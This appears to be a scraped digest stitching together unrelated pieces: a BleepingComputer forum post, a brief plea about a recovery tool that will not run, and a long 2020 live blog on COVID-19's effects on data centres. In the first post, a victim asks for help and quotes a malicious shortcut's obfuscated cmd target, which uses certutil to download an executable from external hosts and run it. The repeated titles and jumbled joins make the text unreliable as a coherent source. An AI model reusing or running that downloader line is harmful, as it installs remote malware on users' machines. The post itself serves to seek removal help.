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.Lnk file with cmd usage - Virus, Trojan, Spyware, and Malware Removal Help - BleepingComputer

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.Lnk file with cmd usage - Virus, Trojan, Spyware, and Malware Removal Help - BleepingComputer.Lnk file with cmd usage - Virus, Trojan, Spyware, and Malware Removal Help - BleepingComputerPosted: 06 Jul 2020 11:33 AM PDT Hi all,Looking for feedback on the likelihood my double clicking of a bad .lnk file caused damage.. When I did double click it, I remember getting a standard windows dialog box. I believe it said the path did not exist or shortcut unavailable.. I'm not finding anything in my startup folder for C:\programdata or my username appdata startup folder...  I ran scans with malwarebytes, Hitman with no results.The .lnk file target was:%ComSpec% /v:on/c(SET V4=/?8ih5Oe0vii2dJ179aaaacabbckbdbhhe=gulches_%PROCESSOR_ARCHITECTURE% !H!&SET H="%USERNAME%.exe"&SET V4adKK47=certutil -urlcache -f https://&IF NOT EXIST !H! (!V4adKK47!izub.fun!V4!||!V4adKK47!de.charineziv.com!V4!&!H!))>nul 2>&1The .lnk file 'start-in' was:"%APPDATA%\Mic…

I May Not Have The Appropriate Permissions... - Virus, Trojan, Spyware, and Malware Removal Help - BleepingComputer

I May Not Have The Appropriate Permissions... - Virus, Trojan, Spyware, and Malware Removal Help - BleepingComputer


I May Not Have The Appropriate Permissions... - Virus, Trojan, Spyware, and Malware Removal Help - BleepingComputer

Posted: 10 Feb 2020 12:00 AM PST

Hi guys,

I successfully downloaded the Farber Recovery Scan Tool but I cannot run it!

It won't even let me "Run as Administrator"...

It just sits and thinks for what seems like an eternity and then a pop up message appears...

"WINDOWS CANNOT ACCESS THE SPECIFIED DEVICE, PATH OR FILE. YOU MAY NOT HAVE THE APPRORIATE PERMISSIONS TO ACCESS THE ITEM"

I'm really sorry and at a loss as to what to do!!


How this data centre in Italy's Covid-19 Coronavirus epicentre keeps powering businesses, services and the local community - Data Economy

Posted: 23 Mar 2020 12:00 AM PDT


There are now 1,536,094 cases of people infected with COVID-19 and 89,877 dead, as of April 09, 14:34 (GMT+1).

With the world going into lockdown, Data Economy will be bringing you the latest on the events that impact the data centre sector, the market moves and how operators are answering to the crisis.


April 09, 14:41- 22 security start-ups join Tech Nation's Cyber Programme 2.0

22 cyber security companies have joined Tech Nation's Cyber 2.0 growth programme in light of Covid-19.

Since the outbreak, cyber criminals have been exploiting the pandemic as part of their cyber operations due to an increase in employees working from home and a rise in virtual meetings.

"The UK is already an acknowledged leader in cyber security, raising £7.8bn between 2015 and 2019, placing the UK third in the world for cyber after the US and China," said Mike Jackson, entrepreneur success director, Tech Nation.

"In these unprecedented times that we face in light of COVID-19, there has never been a more important time to invest in and support innovative cyber solutions. At Tech Nation we are delighted to announce the second cohort of Cyber 2.0, to help unlock the growth potential for early-stage cyber scaleups."

Many of the 22 companies joining the programme have already begun developing new solutions and responses to Covid-19.

For example, ByzGen are working closely with strategic partners, to identify ways to improve the exchange of sensitive medical data between primary health providers in the NHS.

CyberSmart have created a new Small Business Resilience Hub to help SMEs navigate the transition to remote working safely.

PreCog has developed a real-time crime intelligence solution for the government and can even help monitor social distancing measures.


April 09, 14:39 – OVHcloud offers free infrastructure during Covid-19

French cloud computing company OVHcloud has launched its #Open_solidarity initiative in support of businesses and employees during the Covid-19 crisis.

Such moves include all OVHcloud employees working from home (excluding datacentre and factory employees) and ensuring service continuity for our customers with no loss in uptime.

One such measure includes the offer of free infrastructures without any commitment period for the duration of the COVID-19 crisis.

Websites and infrastructures receiving free service will also benefit from the same level of maintenance and support.

"#Open_solidarity. This initiative is a collective, open act of digital solidarity — the aim of which is to make reliable tech solutions more widely available by offering them for free on OVHcloud infrastructures."

"To do this, OVHcloud is delivering web-cloud, bare metal, private cloud and public cloud solutions free of charge for the entire duration of the crisis — and this is for software publishers, start-ups and public service providers. This way, they can also offer free remote working, communication, healthcare and other solutions to SMEs and individuals."


April 09, 14:37 – Microsoft supports NHS plans to centralise data

Cindy Rose, chief executive of Microsoft UK has expressed her support in creating a centralised NHS data store to tackle Covid-19.

According to Rose, creating "one central source of data" will help the country coordinate its response to the coronavirus outbreak. 

Microsoft along will Amazon, Google and Palantir are being consulted on the creation of this central data store and will help the NHS develop this tool.

Once completed, the data store will help to ensure that critical gear like ventilators can be delivered to hospitals before they become overwhelmed, while helping NHS management determine bed availability. 


April 09, 14:35 – Computacenter CEO and CFO forgo salaries to show 'solidarity' with furloughed staff

Mike Norris, CEO of Computacenter and Tony Conophy, the company's CFO have volunteered to forgo their salaries in a show of solidarity with furloughed staff.

In response to the Covid-19 pandemic, both executives have chosen to cut their base salary to zero for a three-month period, between 1 April until 30 June.

In addition, Computacenter co-founders Peter Ogden and Philip Hulme have also waived their basic fee as non-executive directors from 1 April until the end of the year.


April 08, 12:45 – HPE Financial Services offers $2 billion to help customers during COVID-19

Hewlett Packard Enterprise has announced that HPE Financial Services (HPEFS) is designating more than $2 billion in financing specifically to help customers with their financial challenges stemming from the COVID-19 crisis.

HPE Financial Services is also introducing initiatives including a Payment Relief Program to help customers acquire new technology and alleviate some of the financial strain caused by the pandemic.

The $2 billion in HPEFS financing will be applied to help customers ensure business continuity and adapt in the current environment by addressing new technology financing needs, and convert their IT infrastructure into new sources of capital, according to the company.

Through the new Payment Relief Program, customers can acquire the technology they need and pay 1% of the total contract value each month for the first eight months, deferring over 90% of the cost until 2021.

Beginning in 2021, each monthly payment would equal approximately 3.3% of the total contract value.

"This is a challenging time to lead a business. Today more than ever, IT leaders and CFOs play a central role in ensuring financial health while continuing operations", said Irv Rothman, President and CEO of HPE Financial Services.

"At HPE Financial Services, we are committed to helping businesses align their priorities from an IT economics perspective and provide them with concrete solutions so they can move forward."


April 07, 17:23 – Tech sector worried about loss of income caused by COVID-19

techUK conducted a survey with the tech sector in response to the impact of COVID-19 to get a better understanding of how the pandemic is impacting the sector.

Of the 100 responses received, the survey showed that lost income and lost productivity were the two issues of most concern to businesses, both in the short and long-term.

Whilst only 6% of respondents felt a cessation of trading/doing business was a likely outcome in the short-term, this was a concern for nearly 30% of respondents if restrictions remained in place for a longer period, according to techUK.

Supply chain disruption is also noted by respondents as a concern both in the short and longer-term, with 40% of respondents citing it as a concern.

While the UK has not implemented any restrictions at borders and ports to date, members are anticipating a slow down as staffing levels are impacted (borders and customs officials), and this is being seen in third countries where our members operate.

The survey also flagged concerns techUK is hearing around liquidity and access to finance, particularly for SMEs (which form half of all respondents to this survey).

"The UK's tech sector has long been a bright star in the UK economy, growing at six times the rate of the rest of the economy, accounting for 7.7% of UK GVA. It will be vital to the UK's recovery as a whole that the sector is supported through this period of disruption and uncertainty," said Vinous Ali, Associate Director for Policy, techUK.

"Just two weeks ago a fifth of our sector reported feeling little to no impact on their business as a result of COVID-19.

"The increased rate of spread and the Government restrictions put in place to slow that spread have changed the landscape dramatically."


April 07, 12:54 – COVID-19 pandemic leads to "massive" uptick in demand for computing capacity

Northern Data AG has reported that the COVID-19 pandemic is resulting in a massive increase in computing capacity demand.

In order to meet the increased demand, the company has instigated an acceleration of the expansion of capacities at its locations and in addition is looking to develop further locations.

Immediate demand for computing power in the wake of the pandemic is being driven by two immediate and game-changing developments.

Firstly, pharmaceutical companies and research institutions worldwide are using HPC systems on a large scale for the first time in order to carry out calculations and simulations in the field of bioinformatics and epidemiology in the shortest possible time, which with conventional computer systems can take several months or even years.

Northern Data management expects this trend to continue after the end of the COVID-19 pandemic.

Secondly, working conditions worldwide have shifted drastically online in a matter of weeks through the course of the COVID-19 pandemic, this has led to a massive increase in demand for computing capacity.

Due to the current restrictions, many companies in parts of the United States, Europe and Asia are forced to operate with an almost 100% home office ratio.

The associated use of digital applications such as video conferencing tools is causing an explosion in demand for data capacities. This trend will continue beyond the coronavirus crisis, according to the company.

Northern Data will start operating its newest HPC facility in the United States in the coming days. The world's largest HPC data centre is being built in Texas; more than 100 acres, which corresponds to the size of around 57 soccer fields.

The company originally intended to achieve a total capacity of one gigawatt at the US location by the end of the year.

Due to the changed and overwhelming demand situation, plans are now beginning to seamlessly expand the location to up to 3,6 gigawatts.

The company is also accelerating the development of additional locations for additional large-scale HPC facilities in Canada and Scandinavia.

"We are facing overwhelming demand", stated Aroosh Thillainathan, CEO of Northern Data AG.

"In some areas, we see a thirty times higher market demand than we can build up capacities by the end of the year.

"We now benefit from our many years of experience in large-scale high-performance computing in order to further accelerate ongoing scaling."


April 06, 16:03 – iomart encounters minimal impact on trading from effects of COVID-19 outbreak

The company says it has experienced minimal impact on trading in the year from the effects of COVID-19.

Cloud computing company iomart Group plc (AIM: IOM) provided its pre-close trading statement for the year ended 31 March 2020 ahead of the announcement of its full-year results.

The Board reported that iomart expects to deliver another year of revenue growth, strong profitability and cash generation, in line with expectations.

For the year to 31 March 2020, the company expects to report revenue of approximately £112 million (FY19: £103.7 million), adjusted EBITDA of approximately £43 million (FY19: £42.2 million) and adjusted profit before tax of approximately £22.5 million (FY19: £25.5 million).

Abigail Opiah has more here.


April 06, 14:02 – Linxdatacenter connects to the cloud for free during the outbreak

Linxdatacenter will be providing educational- and cultural institutions whose activities suffered from quarantine due to the COVID-19 pandemic, free access to virtual resources of its own cloud.

The quarantine and other pandemic-related restrictions have disrupted processes in many companies.

The data centre and cloud services firm will offer a solution to those who face a sharp shortage of IT resources: companies that need resources to connect remote workstations for employees, businesses that urgently have to go online to work with consumers or retailers and delivery services whose websites and applications have a peak load now.

Linxdatacenter intends to support cultural and educational institutions – museums, theatres and projects in the field of science and education who do not have the necessary IT capabilities but also have to switch to an online format.

Two months access to IT resources in the Linxdatacenter cloud will be free within the specified parameters, according to the firm.

"Many companies today find themselves in an extremely difficult situation, caused by sharp changes in the functioning of society and the economy," said Olga Sokolova, General Director Linxdatacenter Russia.

"Linxdatacenter recognises the complexity of the situation. The IT resources that we have allow us to support other organisations.

"We hope, this will help many people who find themselves in difficult conditions."


April 03, 15:32 – How HPE is keeping remote COVID-19 workforces operational

Hewlett Packard Enterprise (HPE) has launched a series of initiatives to help customers and support business continuity in the wake of COVID-19.

Chassis Manager 2.0

HPE is releasing a virtual desktop infrastructure (VDI) solution, and said it will offer flexible financing terms and new pre-configured solutions to increase flexibility and accelerate delivery.

HPE Financial Services is set to offer financial and asset lifecycle options including short-term rentals and 90-day payment deferrals on VDI solutions.

The company revealed that HPE VDI solutions are also available as-a-Service through HPE Greenlake to support customers who require financial flexibility in their remote workforce roll out.

Abigail Opiah has more here.


April 03, 14:49 – SpaceX bans Zoom over privacy issues

Elon Musk's satellite company SpaceX has prohibited its employees from using video conferencing app Zoom.

Reuters reports that a memo was sent to all SpaceX employees citing "significant privacy and security concerns" as the reason for the ban.

This was then followed by an email to employees that read:

"We understand that many of us were using this tool for conferences and meeting support. Please use email, text or phone as alternate means of communication."

Natalie Bannerman has more here.


April 03, 13:17 – Internet co-creator Vint Cerf catches Covid-19

Vint Cerf, the 76-year-old American computer scientist cited as co-creating the internet been diagnosed with COVID-19.

In a Tweet on Monday 30th March, he said:

In the same Tweet, Cerf also included a video of comedian John Oliver, in which the "Last Week Tonight" host criticised Donald Trump's handling of the coronavirus crisis. Cerf has worked for Google since 2005 and currently serves as its chief internet evangelist


April 02, 16:23 – Cognizant commits $10m to support communities worldwide impacted by COVID-19

Cognizant (Nasdaq: CTSH) has announced an initial $10 million philanthropic commitment to support communities around the world in addressing the immediate and long-term impacts of COVID-19.

Cognizant and its U.S. and India-based foundations has said it will provide critical resources to strengthen public health systems, education and workforce institutions, and the economic outlook of communities worldwide.

Funds will support:

  • Global response efforts, including healthcare and humanitarian relief through the World Health Organisation's "COVID-19 Solidarity Response Fund" and GlobalGiving's "Coronavirus Relief Fund"
  • Critical healthcare infrastructure, including resources for hospitals and frontline healthcare workers, and investments in equipment and diagnostic tools
  • Education and workforce efforts, including research to advance online learning models in light of school closures, and funding to support education, training, and reskilling programs for vulnerable populations impacted by COVID-19

"Cognizant and its foundations have a long history of contributing to the health and well-being of communities across the globe. We are pleased to do our part to contribute to the worldwide effort to offer relief to those impacted by COVID-19," said Brian Humphries, CEO, Cognizant.

"I have never been more proud of our associates and their valiant efforts to support our clients and communities in these unprecedented times."  

As part of the $10 million commitment, the Cognizant U.S. Foundation will match all Cognizant associate contributions to GlobalGiving's "Coronavirus Relief Fund" throughout April. 


Facebook's Huntsville, Alabama data centre

April 02, 16:13 – Facebook pauses construction on $750m Alabama data centre amid COVID-19 pandemic

Facebook has pressed the pause button on the construction of its Huntsville, Alabama data centre campus due to safety concerns over staff during the COVID-19 outbreak.

The social media giants announced on its website that it will be significantly reducing construction activities at the data centre site to help protect the construction crew during the pandemic.

"We look forward to welcoming everyone back on site as soon as it's safe to do so. Hope everyone can stay safe and healthy," said the firm last week.

The company also announced that it has suspended construction on its expansion project at the company's data centre campus in Clonee, Ireland.

Abigail Opiah reports more here.


April 01, 17:50 – Microsoft sees 775% spike in Teams users in Italy

Microsoft has seen a 775% increase in Teams' calling and meeting monthly users in a one month period in Italy, where social distancing or shelter in place orders have been enforced.

In response to health authorities emphasizing the importance of social distancing, the company has seen usage increases in services, including Microsoft Teams, Windows Virtual Desktop, and Power BI.

The company reported more than 44 million daily users on the platform, to which those users generated over 900 million meeting and calling minutes on Teams daily in a single week.

Windows Virtual Desktop usage has grown more than three times, while government use of public Power BI to share COVID-19 dashboards with citizens has surged by 42% in a week, according to the company.

As Satya Nadella said, "It's times like this that remind us that each of us has something to contribute and the importance of coming together as a community.

"In these times of great societal disruption, we are steadfast in our commitment to help everyone get through this."


April 01, 15:00 – Cloud boss Thomas Kurian on how Google is tackling the COVID-19 coronavirus pandemic

Google Cloud has seen a surge in the use of its video conference product Google Meet, as the COVID-19 pandemic causes a large population of the world to work from home.

The cloud giant's CEO Thomas Kurian revealed that the company has made the advance features in Google Meet free to all its G Suite and G Suite for Education customers worldwide.

Over the last few weeks, Meet's day-over-day growth surpassed 60%, and as a result, its daily usage is more than 25 times what it was in January, according to Kurian.

"We've also made Meet Hardware available in additional markets, including South Korea, Hong Kong, Taiwan, Indonesia and South Africa, to ensure customers have the right hardware to complement their Meet solution," he said in a blog post yesterday.

Abigail Opiah reports more here.


March 31, 13:29 – AMS-IX breaks through 8 Tbps barrier

Internet traffic over AMS-IX, the world's leading interconnection platform, broke through the 8 Terabits per second (Tbps) barrier on March 30 around 9:00 PM.

The new peak traffic is most likely a result of the various quarantine measures of national governments in their effort to contain the spread of the COVID-19 virus. People are forced to stay at home and, as a result, make extra use of digital services. In February, the daily amount of traffic exchanged on the platform was between 48 to 50 Petabyte.

However, after the 11th of March – the day that the World Health Organization declared the COVID outbreak a pandemic – we can see a steep rise in the amount of internet traffic exchanged over the AMS-IX Amsterdam platform.

Currently, the traffic volume accounts for 56 to 58 Petabyte on a daily basis, an increase of 17% compared to the previous month.


March 31, 10:27 – Coronavirus lockdown causes surge in use of fintech apps

Coronavirus-triggered social distancing, isolation and lockdowns have driven-up the use of financial apps in Europe by 72% in a week, reveals deVere Group.
 
The sharp increase in the use of financial technology comes as the world readjusts to life-fighting against the global health crisis and economic downturn caused by the COVID-19 pandemic.
 
James Green, deVere Group's Divisional Manager of Europe, said: "The world has changed in the last few weeks. The measures we are now all taking to help the fight back against coronavirus are affecting the way we interact, live, work, and take care of our finances.
 
"A new era has already begun, with digitalisation and new technologies driving the shift.  This can be seen by demand soaring for video-calling platforms such as Google Hangouts, Skype, FaceTime and Zoom amongst others, as more people from ever work remotely."


March 30, 10:11 – Procurri to offer data centre equipment amid ongoing COVID-19 disruption

IT hardware supply chain, Procurri LLC has announced its plans to help companies access data centre equipment more affordably, in the midst of any shortages experienced due to the COVID-19 pandemic.

Corporations face increasing pressure on their IT infrastructure spend to continue operations despite the challenges.

The company revealed that it has witnessed a surge in shipments at its Atlanta distribution hub recently.

With wide and established networks through partnerships with Cisco Excess, HPE Spares, and Ingram Micro and distribution hubs spread across the globe in the US, Singapore, and the UK, the company plans to ship stocked equipment globally.

"In these times of the COVID-19 crisis, the global IT equipment supply chain has been severely disrupted," said Sean Murphy, Chairman and Global Chief Executive Officer, Procurri LLC.

"We are doing our part to help keep economies going through the COVID-19 pandemic. We are in the business of IT uptime and are seeing the demand for solutions increase, and we are doing our best to secure supply to keep businesses connected and running."


March 27, 16:12 – Intel holds off on stock buybacks amid global COVID-19 outbreak

Intel Corp. (NASDAQ: INTC) announced that it is suspending stock repurchases due to the COVID-19 outbreak.

The company added that the suspension, "while conservative, is prudent given uncertainty regarding the length and severity of the pandemic", reported Bloomberg.

This comes as the Santa Clara, California-based company revealed earlier on in the week that it will source and donate more than one million items of personal protective equipment – masks, gloves and other gear – to healthcare workers.

According to reports, the suspension of stock repurchases will not impact dividend payments, and Intel can reinstate repurchases as circumstances warrant, according to a filing to the U.S. Securities and Exchange Commission.

Abigail Opiah reports more here.


March 27, 09:16 – Kaspersky supports healthcare institutions amid COVID-19 pandemic with free full-featured product licenses for six months

Kaspersky has announced free availability of its core endpoint security products for medical organisations, in order to help them stay protected from cyberthreats during the pandemic.

The full list of B2B products available for free for six months includes Kaspersky Endpoint Security Cloud Plus, Kaspersky Security for Microsoft Office 365, Kaspersky Endpoint Security for Business Advanced and Kaspersky Hybrid Cloud Security.

Evgeniya Naumova, Vice President of the Global Sales Network at Kaspersky, said: "In this critical situation, healthcare institutions are under immense pressure and carry huge responsibility while saving people's lives and fighting against the infection. Doctors, nurses and all medical staff take on most of the load and therefore need any support possible. We feel that it is our duty to support the medical community.

"In order to help these organisations focus on what matters most, we now offer healthcare institutions free licenses for key Kaspersky corporate products for a six month period."


March 26, 13:49 – QTS Reports Increase in Customer Usage of Service Delivery Platform Driven by the Expanding Remote Workplace

QTS Realty Trust (NYSE: QTS) has announced an increase in usage of QTS' Service Delivery Platform (SDP) engineered to manage and optimise data centre deployments.

The company attributes the increases in demand to services and capability that align with the requirements of a dramatically expanded remote workplace in response to the ongoing COVID-19 pandemic.

Jon Greaves, Chief Technology Officer, QTS, said: "Working remotely is a new challenge and opportunity that many in Corporate America are currently facing. The Internet and online workplace are now mission-critical in our daily lives.

"QTS customers are benefiting from greater control over their IT environments and in the current environment, decreasing risk at the same time through a digitized orchestration capability that largely has not existed in the data centre industry previously."


March 24, 16:53 – Tech companies charge ahead with hiring as demand increases due to COVID-19

Technology companies are still hiring staff despite global reports of businesses laying off staff because of the COVID-19 outbreak.

The FT reported that in California, tech companies were looking to fill 15,852 jobs in the second week of March — down only slightly from the week before and nearly three times the level from a year ago, according to data from ZipRecruiter.

Data Economy reached out to ZipRecruiter for further comment regarding how tech companies were in need for more staff as the world becomes more digital, to which the company is yet to respond.

One company that can testify to the need for more employees during the Coronavirus pandemic is mobile games company Kwalee.

Abigail Opiah reports here.


March 24, 15:01 – NordVPN reports 165% surge in users as remote working increases globally

VPN provider NordVPN has reported recording 165% growth in users due to more and more people working from home amid the COVID-19 pandemic.

As remote working is fast becoming the new normal in the midst of the outbreak, setting up at home and accessing company systems through external connections may present its own security problems.

According to Google Trends, the search term "VPN" has surged since last week. In the US, it grew by 25%, the UK 20%, Germany 30%, Spain 40%, and Italy, which has suffered the largest coronavirus outbreak in Europe, 55%. These numbers are also reflected in VPN sales.

Abigail Opiah has more here.


March 23, 17:11 – Equinix shuts down data centres to the public in France, Germany, Italy and Spain to tackle COVID-19

Equinix (NASDAQ: EQIX) has closed its data centres to the public in France, Germany, Italy and Spain as a protective measure amid COVID-19 outbreak.

In the company's FAQ section, it was revealed that Equinix's remaining IBX data centres, except those in Asia-Pacific, will be moving to an appointment-only protocol from March 25, until further notice.

For all IBXs in EMEA and the Americas, including France, Germany, Italy and Spain, Equinix is set to implement policies to maintain its facilities and further protect the health and safety of its customers and employees.

Abigail Opiah has more here.


March 23, 16:47 – SAP has announced a new digital learning offering

SAP SE (NYSE: SAP) has announced a new digital learning initiative based on interactive educational content to support students, professionals and anyone wishing to continue to learn during this challenging time.

This initiative is based on three educational pillars – open online courses, learning journeys for universities and the SAP Young Thinkers program – as part of SAP's comprehensive learning and enablement program.

SAP said it will respond and adjust to participant feedback and requirements to improve and adapt the courses continuously.

Christian Klein, Co-CEO and Member of the Executive Board of SAP SE, said: "The effects of the COVID-19 pandemic are impacting everyone around the world. We want to make sure education does not take a back seat during this time. Students and subject-matter experts need access to safe and healthy learning environments to continue their education virtually.

"SAP is expanding its commitment to support the next generation of professionals and users by broadening access to some of our best digital learning offerings to facilitate the continuity of innovation and enablement."


March 23, 14:30 – Industry steps up to support global Covid-19 response

As with other sectors, the telecoms, data and tech industries have faced huge disruptions over recent weeks, from Nokia's cancelled AGM to the postponement of France's 5G network auction and Samsung's Foundry Forum.

However, it's still business as usual and stakeholders from across the industry have been quick to react to the unfolding crisis with a series of customer relief packages, as well as charitable donations and support for government services.

In Canada, telcos Rogers, Bell, Telus, Videotron, Freedom Mobile, Eastlink and SaskTel, will send subscribers who are currently abroad text messages containing consular support information and key contact information.

Melanie Mingas reports.


March 23, 11:33 – Microsoft sees 12 million new users on Teams as remote workers increase during COVID-19 pandemic

Microsoft (NASDAQ: MSFT) has announced that its group-collaboration platform, Microsoft Teams, has grown from 32 million daily active users to 44 million, mainly driven by the COVID-19 coronavirus.

The company said that its Microsoft Teams platform has seen a spike in its usage across the globe as millions of employees are being advised to practise social distancing and work from home.

The company recorded a 12 million increase in users in the last seven days according to its figures, adding that those users generated over 900 million meetings and calling minutes on Teams each day last week.

Abigail Opiah reports more here.


Bergamo
A statue of an angel outside the Bergamo Church Santa Maria in the Italian region of Lombardy.

March 23, 06:00 – Special Report: How this data centre in Italy's Covid-19 Coronavirus epicentre keeps powering businesses, services and the local community

Outbreaks outside of China in South Korea, Japan, Iran and Italy, became the more regionalised epicentres of the disease that spread to almost all countries and territories on the planet.

In Europe, Italy has been severely impacted, and a large part of the cases across the continent and other regions has been traced back to Italy, especially the northern part of the country, in the Lombardy region.

If we look at the epicentre, right in the middle is the city of Bergamo with a population of approximately 122,000 which has been hit by the virus as almost nowhere else as.

And it is precisely in Bergamo that one of Italy's – and Europe's as well – largest data centre campuses operates.

Sitting on more than two million square feet of land, Aruba S.p.A.'s hyperscale data centre operations in Bergamo power hundreds of businesses across Italy and Central Europe.

With the pandemic taking never seen proportions in the Lombardy region, Data Economy spoke to Gabriele Sposato, CMO of Aruba S.P.A. on how the business is handling this crisis whilst keeping services running without interruption.

João Marques Lima has this special report.


March 20, 16:57 – Keppel pledges a $4.2m package to support Singapore during COVID-19 pandemic

Keppel Corporation Limited has announced a package worth more than $4.2 million to help the Singapore community weather COVID-19.

This comes on the back of the company's earlier donation of over S$900,000 to support Singapore and international efforts to mitigate the impact of COVID-19.

The package will be funded by voluntary contributions from the Keppel Group's directors, senior management and staff, with dollar-for-dollar matching contributions from Keppel Corporation.

Abigail Opiah has more details here.


March 20, 14:44 – Data centre competitors swap notes to battle COVID-19 pressures collectively

According to techUK, the spread of COVID-19 means that the demand for digital communications, and therefore for the data centre services that underpin them, is rising sharply.

The "social distancing" measures governments and companies have been taking in their attempts to slow the spread of the novel coronavirus have increased the amount of traffic on networks around the world.

As COVID-19 continues to put pressure on data centres to operate, techUK has been running weekly calls to share best practice and identify challenges the sector is facing.

Operators have been comparing notes on how they are identifying and managing COVID-19 risks and on the precautions they are putting in place.

Abigail Opiah reports more here.


March 19, 16:09 – The EU's Thierry Breton, pressures streaming services to lower bandwidth during COVID-19 virus

The European Union's Internal Market and Services Commissioner Thierry Breton, has asked streaming services to take steps to prevent an internet gridlock in the wake of the Coronavirus.

Speaking directly to content providers such as Netflix and YouTube, Breton expressed his concern that such streaming service would have on communications networks given the increase in people working from home due to the virus.

"Streaming platforms, telecom operators and users, we all have a joint responsibility to take steps to ensure the smooth functioning of the internet during the battle against the virus propagation," said earlier this week.

Natalie Bannerman has more here.


March 19, 14:56 – Alibaba Cloud offers AI and cloud services to help battle COVID-19 worldwide

Alibaba Cloud said today it has offered medical personnel around the world advanced cloud-based technology applications in the fight against the COVID-19 pandemic.

The artificial intelligence-enhanced innovations are based on learnings and insights gathered during the initial outbreak of the virus.

The series of cloud-native anti-coronavirus solutions stem from joint efforts of Alibaba Cloud's solution experts, scientists and researchers from Alibaba DAMO Academy and the technical team at DingTalk, one of the platforms UNESCO has tabbed as facilitating distance learning during the coronavirus outbreak.

Abigail Opiah has more here.


March 19, 10:58 – Data centre construction projects under threat from Covid-19 Coronavirus

Globally, the construction of new centres had been growing at a compound annual growth rate (CAGR) of 8.61% since 2017, and was predicted to reach values of US$73.87bn by 2021. However, that trajectory is now unlikely to continue.

The pipeline of new data centres is under threat as the supply of labour and parts is halted by the international response to the Covid-19 pandemic.

In Europe, Asia and now the US, the complex web of specialist suppliers and subcontractors – who themselves are reliant on labour and parts – are now checking their contracts for force majeure clauses. 

Melanie Mingas reports more here.


March 18, 16:47 – UK data centre industry working with the government to secure "special passes" in case the country goes into lockdown

The UK data centre industry is in contact with the UK government to "try and secure special passes" for data centre workers, should the country go into locked, sources have told Data Economy.

"Operators have asked how critical facilities staff will get access to sites in the event of a full lockdown scenario, bearing in mind that most data centres are not designated CNI," one of the sources said.

The move comes as internet exchanges, telecommunication providers and data centre operators face an unprecedented volume of traffic as millions of people shift to working from home.

If granted, the passes would be the clearest sign and recognition to date by Downing Street of the critical important digital infrastructure plays in the modern economy.


March 18, 12:49 – Uptime Institute launches advisory report for critical infrastructure operators

One of the world's largest data centre organisations, the Uptime Institute, has launched an advisory report for data centre operators to help them prepare, safeguard and mitigate business risks to their infrastructure and services.

Developing a specific pandemic preparedness plan, maintaining communication with staff, customers and partners, and allowing no cross-contact of teams, even outside the work environment are just some of the moves companies can take.

You can access the document here.


March 18, 12:05 – After cancelling its in-person show, Google has now postponed the online version of Cloud Next

Google has postponed its digital version of Cloud Next after the company was forced by the Coronavirus to cancel the real-life event due to have taken place from the 6th of April to the 8th.

The company said in a statement that Google Cloud Next '20: Digital Connect has been postponed until further notice due to the "concern for the health and safety of our customers, partners, employees and local communities, and based on recent decisions made by the federal and local governments regarding the coronavirus (COVID-19)."

Alison Wagonfeld, Google Cloud's chief marketing officer, wrote: "Right now, the most important thing we can do is focus our attention on supporting our customers, partners, and each other.

"Please know that we are fully committed to bringing Google Cloud Next '20: Digital Connect to life, but will hold the event when the timing is right. We will share the new date when we have a better sense of the evolving situation."


March 18, 9:12 – HP CEO: "Please stay safe"

In an open letter sent to employees, HP president and CEO Enrique Lores has advised the workforce to stay safe during the Coronavirus outbreak.

"Times like these remind us all what's most important in our lives, and HP is here to support you in any way we can. Like you, we are closely following guidance from public health authorities to mitigate risk," Lores writes.

The company, through the HP Foundation, has also donated US$1 million to support communities. HP has also given out equipment such as computers and printers to hospitals operating in areas dealing with he outbreak.


March 17, 21:42 – Data centre businesses rally on markets fightback after governments around the world pour more than $1.5tr into economies

Here's how the markets reacted to today's news through the eyes of public traded data centre companies:

  • Equinix (EQIX): 575.18 USD +32.75 (+6.04%)
  • Digital Realty (DLR): 138.24 USD +9.93 (+7.74%)
  • QTS Realty Trust (QTS): 54.18 USD +4.11 (+8.21%)
  • CyrusOne (CONE): 53.25 USD +4.75 (+9.79%)
  • Switch (SWCH): 11.64 USD −0.12 (-1.02%)
  • CoreSite (COR): 108.12 USD +7.84 (+7.82%)
  • NTT (9432): 2,309 JPY +38 (+1.65%)
  • GDS Holdings (GDS): 52.10 USD +3.88 (+8.05%)
  • NextDC (NXT): 7.15 AUD +0.57 (+8.66%)
  • Schneider Electric (SU): 73.40 EUR +2.98 (+4.23%)
  • Vertiv (VRT): 7.25 USD −0.48 (-6.21%)

March 17, 20:58 – Facebook Live could be used to stream funerals in latest social distancing measure

Facebook could step up its contribution in helping with the crisis by partnering with funeral homes and broadcast funerals through Facebook Live.

The ideas being looked at by British funeral directors, however, it is not new. Several funeral homes already broadcast funerals live to people living abroad.


March 17, 18:18 – Uber and Lyft suspend shared rides

Two of the world's largest share riding businesses, Uber Technologies and Lyft have suspended shared ride services in London and Paris, with the US and Canada set to follow as well as other geographies.

The apps normal taxi services as el as Uber Eats continue to operate as normal, however, Uber said it is in constant contact with local authorities and services could change according to the advice they might receive.


March 17, 16:02 – World's largest tech companies combine forces in the fight against Covid-19 outbreak

Google and Youtube, as well as its parent company Alphabet, Microsoft and LinkedIn, Reddit, Twitter and Facebook have come together to "help millions of people stay connected while also jointly combating fraud and misinformation".

The group of tech giants has invited other companies to join the group in an unprecedented move for the tech industry.


March 17, 1:57 – Microsoft closes all retail stores to tackle COVID-19 pandemic

Microsoft (NASDAQ: MSFT) has announced the temporary closing down of all its retail store locations as the COVID-19 outbreak continues.

The company has 116 stores in total, which will be shut down until further notice.

"We know families, remote workers and businesses are under unique pressure at this time, and we are still here to serve you online at microsoft.com," the company said in a statement.

"We are deeply committed to our valuable team and appreciate their support of their local opportunities.

"All of our Microsoft Store employees affected by this outbreak can count on being paid for their regularly scheduled hours – whether due to store closures, reduced store hours or other circumstances outlined by our HR guidance."


March 17, 14:37 – UK mobile networks go into meltdown as Coronavirus forces home working

The UK's major mobile networks have been experiencing outages this morning as millions of people have been forced to work from home due to the Coronavirus.

According to real-time outage monitor, Down Detector, issues were being reported as early as 9:14am GMT, with networks including Vodafone, O2, 3, Virgin, Vodafone, Tesco, GiffGaff and EE, all being affected.

Natalie Bannerman has more here for Capacity Media.


Coronavirus
With the peak of the pandemic expected to hit many countries only between May and July, the Covid-19 pandemic is prone to affect all businesses in one way or another.

March 16, 13:47 Here's 7 things data centre businesses should do during the Covid-19 Coronavirus pandemic

With the world rapidly coming to halt and no end in sight, Data Economy shares some ideas on how data centre operators can weather the storm.

From João Marques Lima here.


March 13, 12:40 – BT's CEO self-isolates amid coronavirus diagnosis

Philip Jansen, CEO of BT Group has tested positive for COVID-19 (Coronavirus) and following health protocols is having to self-isolate.

